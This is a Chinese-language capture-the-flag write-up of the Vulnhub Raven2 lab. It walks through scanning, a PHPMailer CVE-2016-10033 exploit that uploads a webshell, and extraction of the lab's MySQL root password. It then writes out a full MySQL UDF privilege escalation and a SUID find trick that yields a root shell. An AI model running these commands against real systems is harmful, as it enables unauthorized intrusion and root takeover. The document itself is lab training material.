Vulnhub-Raven2靶场渗透
目标发现
使用 arp-scan 扫描,以发现目标主机
arp-scan 192.168.120.0/24

目标主机为:192.168.120.167
信息搜集
端口扫描
使用 nmap 进行扫描
nmap -sS -p- -sV -A 192.168.120.167 --min-rate=1000
扫描结果如下:

得到以下信息:
| 端口 | 服务 | 版本信息 |
|---|---|---|
| 22/TCP | SSH | OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) |
| 80/TCP | http | Apache httpd 2.4.10 ((Debian)) |
| 111/TCP | RPC | rpcbind 2-4 (RPC #100000) |
| 48101/TCP | status | 1 (RPC #100024) |
访问网站,是一个安全团队的商业站点,没找到什么有效信息

cms识别&插件
wappalyzer识别到了cms为 WordPress 4.6.7
目录扫描
使用 gobuster 进行目录扫描以及敏感文件的查找
gobuster dir -u http://192.168.120.167 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,js,asp,aspx,jsp,bak,swp,config,env,json,log,git

发现在 /vendor 目录下有很多文件:

其中比较重要的有:自述文件 README.md 、版本信息文件 VERSION、PATH文件以及安全文件SECURITY.md:




从其中可以获得一些信息:
- PHPMailer version 5.2.16
- < 5.2.18 的PHPMailer存在 CVE-2016-10033 漏洞,甚至还给了链接
- 网站目录结构:/var/www/html/
- flag1:flag1
漏洞利用
在searchsploit搜索phpmailer的相关漏洞利用脚本:

选择python脚本 40974.py,修改相关的值为目标的实际值然后执行:


访问木马文件,验证是否成功上传:

攻击机开启监听,再次访问木马文件,成功拿到shell:

使用 Python 启动一个功能更强大的 bash shell:python -c 'import pty;pty.spawn("/bin/bash")'

搜索 flag 文件:
find / -type f -iname flag* 2>/dev/null
找到两个flag,将其移到网站目录下方便访问:


提权
WordPress目录枚举
通过测试,使用 linux-exploit-suggester.sh 检测到的两个脏牛提权都不能成功
由前面的信息可知flag3是在wordpress目录下,而且wappalyzer识别到了站点cms是wordpress,进入wordpress目录下进行排查:

可以看到有一个配置文件,但内容比较多,进行 grep 关键字查找:
grep "password" -rn wp-config.php
找到一个 password 关键字在文件内第28行:

或将其复制到网站根目录,访问下载到本地进行查看

可以看到其中有一个root权限账户的凭据:

查看MySQL版本信息:

UDF提权
条件验证
-
必须有root权限:root : R@v3nSecurity
-
secure_file_priv 是否有具体值:
show global variables like 'secure%'; #查询secure_file_priv
没有具体值,可以写入文件,可以进行udf提权
-
查看插件目录:
show variables like '%plugin%';
-
查看是否可以远程登录:
use mysql; select user,host from user;
这里显示不能远程登录,所以不能进行MSF提权,也不能使用工具进行提权;
exp构造
在searchsploit中搜索 mysql usf 搜索相关的exp:

这里使用第二个
在本地编译再传输到目标主机:
gcc -g -c 1518.c
gcc -g -shared -o cmd.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

开始提权
登入mysql后,使用mysql库:
show databases;
use mysql;
#创建表raven2
create table raven2(line blob);
#将刚上传的cmd.so插入表
insert into raven2 values(load_file('/var/www/html/cmd.so'));
#raven2表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!
#新建存储函数
select * from raven2 into dumpfile '/usr/lib/mysql/plugin/cmd.so';
#创建自定义函数do_system,类型是integer,别名(soname)文件名字
create function do_system returns integer soname 'cmd.so';
#查询函数是否创建成功
select * from mysql.func;
#调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
select do_system('chmod u+s /usr/bin/find');
可以看到find命令有root权限了,执行命令拿到root shell:
find / -exec "/bin/sh" \;
拿到最后一个flag:

浙公网安备 33010602011771号